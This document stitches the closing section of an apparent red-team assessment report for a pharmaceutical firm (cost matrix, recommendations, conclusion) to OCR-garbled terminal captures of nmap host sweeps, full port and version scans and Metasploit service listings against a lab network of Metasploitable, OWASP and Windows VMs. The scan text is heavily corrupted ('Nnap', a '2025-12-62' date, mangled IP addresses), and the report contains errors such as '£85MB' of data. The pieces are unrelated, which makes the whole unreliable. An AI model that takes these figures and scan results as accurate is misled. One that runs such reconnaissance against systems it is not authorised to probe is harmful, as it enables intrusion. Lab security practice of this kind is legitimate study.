3-Year Insurance Savings: £450,000-£600,000

Competitive Advantage
Time-to-Market Protection:
- Secure pipeline ensures R&D data integrity
- Prevents competitor intelligence gathering
- Protects patent applications from pre-disclosure
Research by Deloitte indicates that pharmaceutical companies losing IP to competitors experience average delays of 18-24 months in bringing drugs to market, resulting in £30-50M revenue loss per product [88].

Estimated Value: First-to-market advantage worth £30-50M per drug launch

Recommendation Matrix
	Priority
	Control
	Cost
	Implementation
	Risk Reduction
	Decision

	CRITICAL
	MFA
	£65K
	30 days
	99.9% credential attacks [62]
	APPROVE

	CRITICAL
	EDR
	£150K
	60 days
	90% malware/APT [69]
	APPROVE

	CRITICAL
	24/7 SOC
	£200K
	90 days
	80% dwell time reduction [59]
	APPROVE

	HIGH
	DLP
	£120K
	90 days
	85% data exfiltration [60]
	APPROVE

	HIGH
	PAM
	£160K
	120 days
	75% privilege escalation [63]
	APPROVE

	MEDIUM
	PAM
	£175K
	180 days
	70% lateral movement [64]
	PHASE 2

	MEDIUM
	CSPM
	£50K
	60 days
	90% cloud misconfig [61]
	APPROVE



Final Recommendation

Approve £670K initial investment** (MFA + EDR + SOC + DLP + CSPM + Training) for immediate deployment.

Expected Outcomes:
- Reduce breach probability from 45% to 8% annually
- Decrease dwell time from 13 days to <24 hours [57]
- Achieve 95% protection against demonstrated attack vectors
- Meet regulatory compliance requirements (GDPR, HIPAA)
- Realize 19:1 ROI within first year

Defer to Phase 2: Network segmentation (£175K) to be implemented in Q2 2026 after foundational controls are operational.

4. CONCLUSION

Operation IP Shield successfully demonstrated that PharmaTech Global's current security posture is insufficient to defend against sophisticated threat actors. The complete compromise of the hybrid environment within 13 days without detection highlights critical gaps in identity management, endpoint protection, and security monitoring.

The engagement followed industry-standard red team methodologies documented in the NIST Special Publication 800-115 Technical Guide to Information Security Testing and Assessment [89] and aligned TTPs with the MITRE ATT&CK framework [43].

Key Findings Summary:
- 7 Critical vulnerabilities enabling full domain compromise
- 13-day dwell time with zero detection (vs. industry average of 21 days) [57]
- £85MB confidential data exfiltration undetected
- Supply chain risk via CI/CD pipeline compromise
- Cloud misconfiguration exposing patient health information

Root Cause Analysis:
The primary security failures were not due to sophisticated zero-day exploits but rather the absence of foundational security controls mandated by frameworks including NIST CSF, CIS Controls v8, and ISO 27001 [85] [86] [90].

Strategic Recommendations Implementation:
The strategic investments recommended above will transform PharmaTech's security maturity from reactive to proactive, reducing organizational risk by approximately 85% while ensuring regulatory compliance and protecting £250M+ in intellectual property [81].

Organizations implementing comprehensive security control frameworks experience:
- 74% reduction in breach costs [81]
- 54% faster incident response times [59]
- 80% reduction in successful phishing attacks [82]
- 90% prevention of credential-based attacks [62]

Immediate action required to prevent real-world breach.

This assessment demonstrates that cybersecurity investments deliver measurable ROI exceeding 19:1 while protecting critical assets and ensuring business continuity in an increasingly hostile threat landscape.
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“pentests echo '192.168.18.61' 2= IPs.txt
pentests
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© Automatic suspend
Terminal _H Computer will suspend very soon because ofnactivty.
~# tnap -sn 192.168.18.0/24
Starting Nnap 7.80 ( https://mmap.org ) at 2025-12-62 11:36 EST
Nnap scan report for 192.168.18.1
Host is up (9.0040s latency)
MAC Address: 1C:43:63:65:6C:4A (Unknown)
Nnap scan report for 192.168.18.51
Host is up (9.0013s latency)
MAC Address: 88:D7:F6:C2:A6:98 (Asustek Computer)
Nnap scan report for 132.168.18.52
Host is up (0.000675 latency)
MAC Address: 08:00:27:85:BC:F2 (Oracle VirtualBox virtual NIC)
Nnap scan report for 192.168.18.54
Host is up (8.13s latency)
MAC Address: 50:04:B8:7D:A5:00 (Huawei Technologies)
Nnap scan report for 192.168.16.55
Host is up (0.0029s latency)
MAC Address: 08:00:27:19:F5:61 (Oracle VirtualBox virtual NIC)
Nnap scan report for 192.168.18.61
ot 55 v (0.0060s Latency)
MAC Address: 08:00:27:37:50:2A (Oracle Virtualgox virtual NIC)
Nnap scan report for 192.168.18.64
B 1ok 157 oosss tatency)
MAC Address: 08:00:27:10:88:00 (Oracle Virtualgox virtual NIC)
. Nnap scan report for 192.168.16.133
Host is up (5.13s latency)
MAC Address: 16:21:BD:D1:16:CE (Unknown)
B op scon report for 192.165.16.187
Host is up (0.078s latency)
MAC Address: BE:95:12:F4:E7:6E (Unknown)
M nap scan report for 192.168.18.211
Host is up (8.26s latency)
WAC Address: 80:4€:70:F9:0A:02 (Samsung Electronics)
B Nosoccon epor ror 152 206, 10.03
Host is up
< tap done: 256 10 adresses (11 hosts up) scamned in 2.54 seconds
*
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n Terminal H Computer willsuspend very soon because of i
Unknown conmand: db_namp
nnap 192.168.18.0/2
Starting Nnap 7.80 ( https://mmap.org ) at 2025-12-62 11:37 EST
Nnap scan report for 192.165.15.1
Host is up (9.0013s latency)
Nmap: Not shown: 993 closed ports
Nnap: PORT  STATE  SERVICE
Wnap: 21/tcp  filtered ftp
Wnap: 22/tcp  filtered ssh
Mnap: 23/tcp  open  telnet
Nnap: 53/tcp  open  domain
Nnap: 8/tcp  open  http
Mnap: 3333/tcp open dec-notes
Nnap: 49152/tcp open _ unknown
Nnap: MAC Address: 1C:43:63:65:6C:4A (Unknown)
Nnap: Nmap scan report for 152.168.18.51
Nnap: Host is up (0.00872s latency)
Nnap: Not shown: 957 filtered ports
Nnap: PORT  STATE SERVICE
Mnap: 2869/tcp open icslap
Nnap: 5357/tcp open  wsdapi
Nnap: 7670/tcp open realserver
Nnap: MAC Address: 88:07:F6:C2:A6:98 (Asustek Computer)
Nnap: Nnap scan report for 152.165.15.52
Nnap: Host is up (0.0011s latency)
Nmap: Not shown: 977 closed ports
Nnap: PORT  STATE SERVICE
Wnap: 21/tcp open Ftp
Wnap: 22/tcp open ssh
Nnap: 23/tcp open telnet
Nnap: 25/tcp  open  smtp
Nnap: 53/tcp open domain
Nnap: 80/tcp open http
Wnap: 111/tcp open rpcbind
Nnap: 138/tcp open netbios-ssn
Nnap: 445/tcp open microsoft-ds
Mnap: 512/tcp open exec
Nnap: 513/tcp open login
Nnap: 514/tcp open  shell
Nnap: 1639/tcp open rmiregistry
Nnap: 1524/tcp open  ingrestock
Nnap: 2049/tcp open nfs
Mnap: 2121/tcp open ccproxy-Ftp
Nnap: 3306/tcp open mysal
Nnap: 5432/tcp open postgresql
Nnap: 5900/tcp open vnc
Nnap: 6600/tcp open X11
Mnap: 6667/tcp open irc
Nnap: 8609/tcp open ajpl3
Nnap: 818/tcp open unknown
Nnap: MAC Address: 08:00:27:85:BC:F2 (Oracle Virtualgox virtual NIC)
Nnap: Nnap scan report for 192.165.15.54
Mnap: Host is up (0.0795 latency)
Nnap: AUL 1066 scanned ports on 192.168.18.54 are filtered
Nnap: MAC Address: 50:04:88:7D:A5:00 (Huawei Technologies)
Nnap: Nmap scan report for 152.168.18.55
Nnap: Host is up (0.008925 latency) .
Nmap: Not shown: 991 closed ports
Nnap: PORT  STATE SERVICE
Nnap: 22/tcp open ssh
Nnap: 89/tcp  open Nttp
inab: 133/ tco _open _netbios_ssn
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LY —
File Edit Terminal Help Computer il suspend very soon because of

open ssh

80/tcp  open http

139/tcp open netbios-ssn

143/tcp open inap

43/tcp open  https

445/tcp open microsoft-ds

5001/tcp open commplex-link

8080/tcp open http-proxy

8081/tcp open _blackice-icecap

MAC Address: 03:00:27:19:F5:61 (Oracle Virtualgox virtual NIC)

Nnap scan report for 192.168.16.61

Host is up (6.0014s latency)

Not shoun: 986 closed ports

PORT  STATE SERVICE

135/tcp  open msrpc

139/tcp open netbios-ssn

445/tcp  open microsoft-ds

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49157/tcp open unknown

49158/tcp open unknown

49159/tcp open _unknoun

MAC Address: 08:00:27:37:5D:2A (Oracle Virtualsox virtual NIC)

Nnap scan report for 192.168.18.64

Host is up (5.00925 latency)

Not shown: 989 closed ports

PORT  STATE SERVICE

22/tep  open ssh

135/tcp open msrpc

139/tcp open netbios-ssn

4a5/tcp  open microsoft-ds

5357/tcp open wsdapi

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49156/tcp open unknown

49157/tcp open _unknown

MAC Address: 08:00:27:10:88:00 (Oracle Virtualgox virtual NIC)

Nnap scan report for 192.168.15.133

Host is up (8.125 latency)

ALL 1060 scanned ports on 192.168.18.133 are closed

MAC Address: 16:21:B0:01:16:CE (Unknown)

Nnap scan report for 192.168.15.167

Host is up (8.826s latency)

AL 1000 scanned ports on 192.168.18.187 are closed

MAC Address: BE:95:12:F:E7:6E (Unknown)

Nnap scan report for 152.168.18.224

Host is up (6.073s latency)

Mot shown: 985 closed ports

PORT STATE  SERVICE

7/tep filtered echo

MAC Address: BE:46:58:AE:6A:BB (Unknown)

Nnap scan report for 152.168.15.63

Host is up (0.00008605 Latency)

Not_shoun: 999 closed ports

PORT  STATE SERVICE

111/tcp open _rpebind

Nnap done: 256 Ip addresses (11 hosts up) scanned in 99.65 seconds
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msfs >
nsfs > db nmap -sS -sV -p- 192.168.18.52 -0X metasploitable scan.xml
Nmap: Starting Nmap 7.89 ( https://nmap.org ) at 2025-12-62 11:45 EST
Nmap: Nnap scan report for 192.168.18.52
Nmap: Host is up (0.0023s latency)
Nmap: Not shown: 65504 closed ports
Nmap: PORT STATE SERVICE  VERSION
Nmap: 21/tcp  open ftp vsftpd 2.3.4
Nmap: 22/tcp  open ssh OpenssH 4.7p1 Debian Bubuntul (protocol 2.0)
Nmap: 23/tcp  open telnet Linux telnetd
Nmap: 25/tcp  open smtp Postfix smtpd
Nmap: 53/tcp  open domain ISC BIND 9.4.2
Nmap: BO/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
Nmap: 111/tcp open rpcbind 2 (RPC #100008)
Nmap: 139/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Nmap: 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Nmap: 512/tcp  open exec netkit-rsh rexecd
Nmap: 513/tcp  open login 0penssD or Solaris rlogind
Nmap: 514/tcp open tcpwrapped
Nmap: 1099/tcp open java-rmi  GNU Classpath grmiregistry
Nmap: 1524/tcp open bindshell Metasploitable root shell
Nnap: 2049/tcp open nfs 2-4 (RPC #100003)
Nmap: 2121/tcp open ftp ProFTPD 1.3.1
Nnmap: 3306/tcp open mysql MysaL 5.0.51a-3ubuntus
Nmap: 3632/tcp open distccd  distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-lubuntud))
Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.8 - 8.3.7
Nnap: 5900/tcp open vnc NC (protocol 3.3)
Nmap: 6000/tcp open X1l (access denied)
Nnap: 6200/tcp open lm-x?
Nmap: 6667/tcp open irc UnrealIRCd
Nmap: 6697/tcp open irc UnrealIRCd
Nmap: 8069/tcp open ajpl3 Apache Jserv (Protocol v1.3)
Nmap: 8189/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Nnap: 8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/Lib/ruby/1.8/drb)
Nmap: 32957/tcp open mountd 1-3 (RPC #100005)
Nmap: 41305/tcp open java-rmi  GNU Classpath grmiregistry
Nnap: 51596/tcp open status 1 (RPC #100024)
Nmap: 55179/tcp open nlockmgr  1-4 (RPC #100621)
Nnmap: MAC Address: 08:60:27:85:BC:F2 (Oracle VirtualBox virtual NIC)
Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nnmap: Nmap done: 1 IP address (1 host up) scanned in 173.39 seconds
nsfs > db_nmap -0 192.168.18.52
Nmap: Starting Nmap 7.89 ( https://nmap.org ) at 2025-12-62 11:51 EST
Nmap: Nmap scan report for 192.168.18.52
Nmap: Host is up (0.0015s latency)
Nmap: Not shown: 977 closed ports
Nmap: PORT  STATE SERVICE
Nmap: 21/tcp open ftp
Nmap: 22/tcp  open ssh
Nmap: 23/tcp open telnet
Nmap: 25/tcp open smtp
Nmap: 53/tcp open domain
Nmap: 80/tcp open http
Nmap: 111/tcp open rpcbind
Nmap: 139/tcp open netbios-ssn
Nmap: 445/tcp open microsoft-ds
Nmap: 512/tcp open exec
Nmap: 513/tcp open login
Nmap: 514/tcp open shell
Nmap: 1099/tcp open rmiregistry
Nmap: 1524/tcp open _ingreslock
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Terminal

arch_Terminal _Help.
Nmap scan report for 192.168.18.52

Host is up (9.0015s latency)

Not shown: 877 closed ports

PORT  STATE SERVICE

21/tcp  open ftp

22/tcp  open ssh

23/tcp  open telnet

25/tcp  open smtp

53/tcp  open domain

80/tcp open http

111/tcp open rpcbind

133/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open  ingreslock

2049/tcp open nfs

2121/tcp open  ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajp13

8180/tcp open _unknown

MAC Address: 08:00:27:85:BC:F2 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 2.6.X

05 CPE: cpe:/o:Linux:linux_kernel:2.6

05 details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

05 detection perforned. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds

nmap -ss -sV -p- 192.168.18.55 -0X owasp_scan.xml
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-62 11:53 EST

Nmap scan report for 192.168.18.55

Host is up (0.000495 latency)

Not shown: 65526 closed ports

PORT  STATE SERVICE  VERSION

22/tcp  open ssh OpenssH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.8)

80/tcp  open http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch proxy html/3.6.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 openssL...)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

143/tcp open imap Courier Inapd (released 2008)

443/tcp open ssl/https?

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

5601/tcp open java-object Java Object Serialization

8080/tcp open http Apache Toncat/Coyote J5P engine 1.1

8081/tcp open http Jetty 6.1.25

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nnap.org/cgi-bin/submit.cgi?new-service
SF-POrt5001-TCP: V=7 .80%I=74D=12/2%Tine=692F19A0%P=x86_64-pc-Linux-gnusr (NU

SFLL,4, "\xac\xed\0\xe5" ) ;

MAC Address: 08:00:27:19:F5:61 (Oracle VirtualBox virtual NIC)

service Info: 05: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 30.51 seconds
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5432/tcp open  postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajp13

8180/tcp open _unknown

MAC Address: 08:00:27:85:BC:F2 (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 2.6.X

05 CPE: cpe:/o:Linux:linux_kernel:2.6

05 details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

05 detection perforned. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds

nmap -ss -sV -p- 192.168.18.55 -0X owasp_scan.xml
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-62 11:53 EST

Nmap scan report for 192.168.18.55

Host is up (0.000495 latency)

Not shown: 65526 closed ports

PORT  STATE SERVICE  VERSION

22/tcp  open ssh OpenssH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.8)
80/tcp  open http Apache httpd 2.2.14 ((Ubuntu) mod mono/2.4.3 PHP/S.3.2-1ubuntud.30 with Suhosin-Patch proxy html/3.6.1 mod_python/3.3.1 Python/2.6.5 mod _ss1/2.2.14 openssL...)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

143/tcp open imap Courier Inapd (released 2008)

443/tcp open ssl/https?

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

5601/tcp open java-object Java Object serialization

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8081/tcp open http Jetty 6.1.25

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service
SF-POrt5001-TCP:V=7.80%I=74D=12/25Tine=692F19A0%P=x86_64-pc-Linux-gnusr (NU

SF:LL,4, "\xac\xed\0\xe5" ) ;

MAC Address: 08:00:27:19:F5:61 (Oracle VirtualBox virtual NIC)

service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 30.51 seconds

nmap -sS -sV -p- 192.168.18.64 -0X win7_scan.xml

Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-62 11:59 EST

Nmap scan report for 192.168.18.64

Host is up (9.00077s latency)

Not_shown: 65524 closed ports

PORT STATE SERVICE VERSTON

22/tcp  open ssh OpenssH 6.7 (protocol 2.0)

135/tcp  open msrpc Microsoft windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp  open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5357/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:10:88:00 (Oracle VirtualBox virtual NIC)

Service Info: Host: IEWIN7; 05: Windows; CPE: cpe:/0:microsoft:windows

service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 85.49 seconds
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nmap -sS -sV -p- 192.168.18.61 -0X winserver scan.xnl
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-62 12:10 EST
: Nnap scan report for 192.168.18.61
Host is up (0.6012s latency)
: Not shown: 65523 closed ports
PORT STATE SERVICE VERSTON
135/tcp  open msrpc Microsoft Windows RPC
139/tcp  open netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
: 5985/tcp open http Microsoft HTTPAPL httpd 2.0 (SSDP/UPIP)
47001/tcp open http Microsoft HTTPAPT httpd 2.0 (SSDP/UPNP)
49152/tcp open msrpc Microsoft Windows RPC
: 49153/tcp open msrpc Microsoft windows RPC
49154/tcp open msrpc Microsoft Windows RPC
: 49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49150/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:37:5D:2A (Oracle VirtualBox virtual NIC)
: Service Info: 0Ss: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection perforned. Please report any incorrect results at https://nnap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 73.13 seconds
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address os_name os_flavor os sp purpose info comments

192.168.18.1 : unknown device
192.168.18.51 Unknown device
192.168.18.52 : : Linux X server
192.168.18.54

192.168.18.55 it Linux server
192.165.18.61 : Unknown device
192.168.18.63 Unknown device
192.168.18.64 : unknown device
192.168.18.133

192.168.18.187

192.165.18.224 Unknown device

msfs > services
Services

port proto name state
21 tep ftp filtered

2 tp  ssh filtered

23 tep  telnet open

53 tcp  domain open

8  tp hep open

3333 tcp  dec-notes  open

49152 tcp  unknown open

2869 tcp  icslap open

5357 tcp  wsdapi open

7670 tcp  realserver  open

21 tp  ftp open vsftpd 2.3.4

2 tp  ssh open OpenssH 4.7p1 Debian Bubuntul protocol 2.0
23 tp  telnet open Linux telnetd

25 tp  smtp open Postfix smtpd

53 tp  domain open 1SC BIND 9.4.2

8  tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2

11 tep  rpebind open 2 RPC #100000

139 tcp  netbios-ssn  open samba sabd 3.X - 4.X workgroup: WORKGROUP
445 tcp  microsoft-ds open Samba smbd 3.X - 4.X workgroup: WORKGROUP
512 tp  exec open netkit-rsh rexecd

513 tp  login open OpenBSD or Solaris rlogind

514 tep  shell open

1099 tcp  rmiregistry open GNU Classpath grmiregistry

1524 tcp  ingreslock  open Metasploitable root shell

2049 tcp  nfs open 2-4 RPC #100003

2121 tcp  ccproxy-ftp  open ProFTPD 1.3.1

336  tep  mysal open MySL 5.0.51a-3ubuntus

3632 tp  disteed open distccd v1 (GNU) 4.2.4 (Ubuntu 4.2.4-lubuntud)
5432 tcp  postgresql  open PostgresqL DB 8.3.0 - 8.3.7

5900 tcp  wnc open VNC protocol 3.3

6000 tcp  x11 open access denied

6200 tcp  lm-x open

6667 tcp  irc open UnrealIrcd

6697 tcp  irc open UnrealIRCd

8009 tcp  ajpi3 open Apache Jserv Protocol v1.3
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192.168.18.52 8787 tcp  drb open  Ruby DRD RMI Ruby 1.8; path /usr/Lib/ruby/L.8/drb
192.168.18.52 32957 tcp  mountd open  1-3 RPC #100005
192.168.18.52 41365 tcp  java-rmi open  GNU Classpath grmiregistry
192.168.18.52 5159 tcp  status open 1 RPC #100024
192.168.18.52 55178 tcp  nlockmgr  open  1-4 RPC #100021
1921168118055 22 tcp  ssh open  OpenssH 5.3p1 Debian 3ubuntué Ubuntu Linux; protocol 2.8
192.168.18.55 80  tcp  http open  Apache httpd 2.2.14 (Ubuntu) mod mono/2.4.3 PHP/S.3.2-1ubuntud. 36 with Suhosin-Patch proxy html/3.6.1 mod python/3.3.1 Python/2.6.5 mod ssl/2.2.14 opens|
5L/0.9.8k Phusion Passenger/4.0.38 mod_perl/2.0.4 Perl/vs.10.1
192.168.18.55 139 tcp  netblos-ssn open  Samba smbd 3.X - 4.X workgroup: WORKGROUP
1921168.18.55 143 tcp  inap open  Courier Inapd released 2008
1921168.18.55 443 tcp  ssl/https  open
1921168118.55 445  tcp  netbios-ssn open  Samba smbd 3.X - 4.X workgroup: WORKGROUP
1921168.18.55 5001 tcp  java-object open  Java Object Serialization
192.168.18.55 8oss tcp  http open  Apache Toncat/Coyote JSP engine 1.1
192.168.16.55 8081 tcp  http open ety 6.1.25
192.168.18.61 135  tcp  msrpc open  Microsoft Windows RPC
192]168118.61 139  tcp  netbios-ssn open  Microsoft Windows netbios-ssn
192.168.18.61 445 tcp  microsoft-ds open  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
192.168.18.61 5985 tcp  http open  Microsoft HTTPAPL httpd 2.0 SSDP/UPIP
192.168.16.61 47001 tcp  http open  Microsoft HITPAPI httpd 2.6 SSOP/UPTP
192.168.18.61 49152 tcp  msrpc open  Microsoft Windows RPC
®) 152.165.18.61 49153 tcp  msrpc open Microsoft Windows RPC
= 192.168.18.61 49154 tcp  msrpc open  Microsoft Windows RPC
192.168.18.61 49155 tcp  msrpc open  Microsoft Windows RPC
192.168.18.61 49157 tcp  msrpc open  Microsoft Windows RPC
192.168.18.61 49158 tcp  msrpc open  Microsoft Windows RPC
. 192.168.18.61 49158 tcp  msrpc open Microsoft Windows RPC
92.168.18.63 111 tcp  rpcbind open
192.168.18.64 22 tcp  ssh open  OpenssH 6.7 protocol 2.0
M 152165718064 135 tcp  msrpc open  Microsoft Windows RPC
1921168.18.64 139  tcp  netbios-ssn open  Microsoft Windows netbios-ssn
192.168.18.64 445 tcp  microsoft-ds open  Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
192.168.18.64 5357 tcp  http open  Microsoft HITPAPL httpd 2.0 SSDP/UPP
192.168.18.64 49152 tcp  msrpc open  Microsoft Windows RPC
© 192168.18.64 49153 tcp  msrpc open  Microsoft Windows RPC
192.168.18.64 49154 tcp  msrpc open  Microsoft Windows RPC
. 126801864 40155 tcp  msrpe open  Microsoft Windows RPC
& 192168118064 49156 tcp  msrpc open  Microsoft Windows RPC
102.168.18.64 49157 tcp  msrpc open  Microsoft Windows RPC
192.168.18.224 7 tcp  echo filtered

nsfs > services -p 80
Services

host port proto state info
192.168.18.1 89  tcp  http open

192.168.18.52 80  tcp  http open Apache httpd
192.168.18.55 89 tcp  http open Apache httpd
sion Passenger/4.0.38 mod_perl/2.0.4 Perl/vs.10.1

2.2.8 (Ubuntu) DAV/2
2.2.2:

4 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenssL/0.9.8k Phul

nsfs > services -s http
Services

proto name state
tep  ftp filtered
tcp  ssh filtered
tcp  telnet
tcodomain
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192.168.18.52 111  tcp  rpcbind open 2 RPC #100000

192.168.18.52 139 tcp  netbios-ssn  open samba sabd 3.X - 4.X workgroup: WORKGROUP
192.168.18.52 445  tcp  microsoft-ds open Samba snbd 3.X - 4.X workgroup: WORKGROUP
192.168.18.52 512 tcp  exec open netkit-rsh rexecd

192.168.18.52 513 tcp  login open OpenBSD or Solaris rlogind

192.168.18.52 514  tcp  shell open

192.168.18.52 1099 tcp  rmiregistry open GNU Classpath grmiregistry

192.168.18.52 1524 tcp  ingreslock  open Metasploitable root shell

192.168.18.52 2049 tcp  nfs open 2-4 RPC #100003

192.168.18.52 2121 tcp  ccproxy-ftp  open ProFTPD 1.3.1

192.168.18.52 3306 tcp  mysal open MySL 5.0.51a-3ubuntus

192.168.18.52 3632 tcp  distced open distccd v1 (GNU) 4.2.4 (Ubuntu 4.2.4-lubuntud)
192.168.18.52 5432 tcp  postgresql  open PostgresqL DB 8.3.0 - 8.3.7

192.168.18.52 5900 tcp  vnc open VNC protocol 3.3

192.168.18.52 6000 tcp  x11 open access denied

192.168.18.52 6200 tcp  lm-x open

192.168.18.52 6667 tcp  irc open UnrealIrcd

192.168.18.52 6697 tcp  irc open UnrealIRCd

192.168.18.52 8009 tcp  ajpl3 open Apache Jserv Protocol v1.3

192.168.18.52 8180 tcp  unknown open Apache Tomcat/Coyote JSP engine 1.1
192.168.18.52 8787 tcp  drb open Ruby DRb RMI Ruby 1.8; path /usr/lib/ruby/1.8/drb
192.168.18.52 32957 tcp  mountd open 1-3 RPC 4100005

192.168.18.52 41305 tcp  java-rmi open GNU Classpath grmiregistry

192.168.18.52 51590 tcp  status open 1 RPC #100024

192.168.18.52 55179 tcp  nlockngr open 1-4 RPC 4100021

192.168.18.55 22 tep  ssh open OpenssH 5.3p1 Debian 3ubuntud Ubuntu Linux; protocol 2.0
192.168.18.55 8  tcp  http open Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntud.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 Opens|
5L/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.6.4 Perl/vs.10.1

192.168.18.55 139  tcp  netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.18.55 143  tcp  imap open Courier Tnapd released 2008

192.168.18.55 443  tcp  ssl/https  open

192.168.18.55 445  tcp  netbios-ssn  open samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.18.55 5001 tcp  java-object open Java Object Serialization

192.168.18.55 8080 tcp  http open Apache Toncat/Coyote JP engine 1.1
192.168.18.55 8081 tcp  http open Jetty 6.1.25

192.168.18.61 135  tcp  msrpc open Microsoft Windows RPC

192.168.18.61 139  tcp  netbios-ssn  open Microsoft Windows netbios-ssn

192.168.18.61 445  tcp  microsoft-ds open Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
192.168.18.61 5985 tcp  http open Microsoft HTTPAPL httpd 2.0 SSDP/UPNP.
192.168.18.61 47001 tcp  http open Microsoft HTTPAPI httpd 2.0 SSDP/UPNP.
192.168.18.61 49152 tcp  msrpc open Microsoft Windows RPC

192.168.18.61 43153 tcp  msrpc open Microsoft Windows RPC

192.168.18.61 49154 tcp  msrpc open Microsoft Windows RPC

192.168.18.61 49155 tcp  msrpc open Microsoft Windows RPC

192.168.18.61 43157 tcp  msrpc open Microsoft Windows RPC

192.168.18.61 49158 tcp  msrpc open Microsoft Windows RPC

192.168.18.61 43159 tcp  msrpc open Microsoft Windows RPC

192.168.18.63 111  tcp  rpebind open

192.168.18.64 22 tep  ssh open OpenssH 6.7 protocol 2.0

192.168.18.64 135  tcp  msrpc open Microsoft Windows RPC

192.168.18.64 139  tcp  netbios-ssn  open Microsoft Windows netbios-ssn

192.168.18.64 445  tcp  microsoft-ds open Microsoft Windows 7 - 18 microsoft-ds workgroup: WORKGROUP
192.168.18.64 5357 tcp  http open Microsoft HTTPAPI httpd 2.0 SSDP/UPNP.
192.168.18.64 49152 tcp  msrpc open Microsoft Windows RPC

192.168.18.64 43153 tcp  msrpc open Microsoft Windows RPC

192.168.18.64 49154 tcp  msrpc open Microsoft Windows RPC

192.168.18.64 43155 tcp  msrpc open Microsoft Windows RPC

192.168.18.64 43156 tcp  msrpc open Microsoft Windows RPC

192.168.18.64 49157 tcp  msrpc open Microsoft windows RPC

192.168.18.224 7 tep  echo filtered
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7usr/share/metasploit-franework/lib/net/dns/resolver. rb:1086:in ~foreach’
/usr/share/metasploit-franework/lib/net/dns/resolver. rb:1086:in "parse config file'
/usr/share/metasploit-framework/lib/net/dns/resolver. rb:230:in "initialize
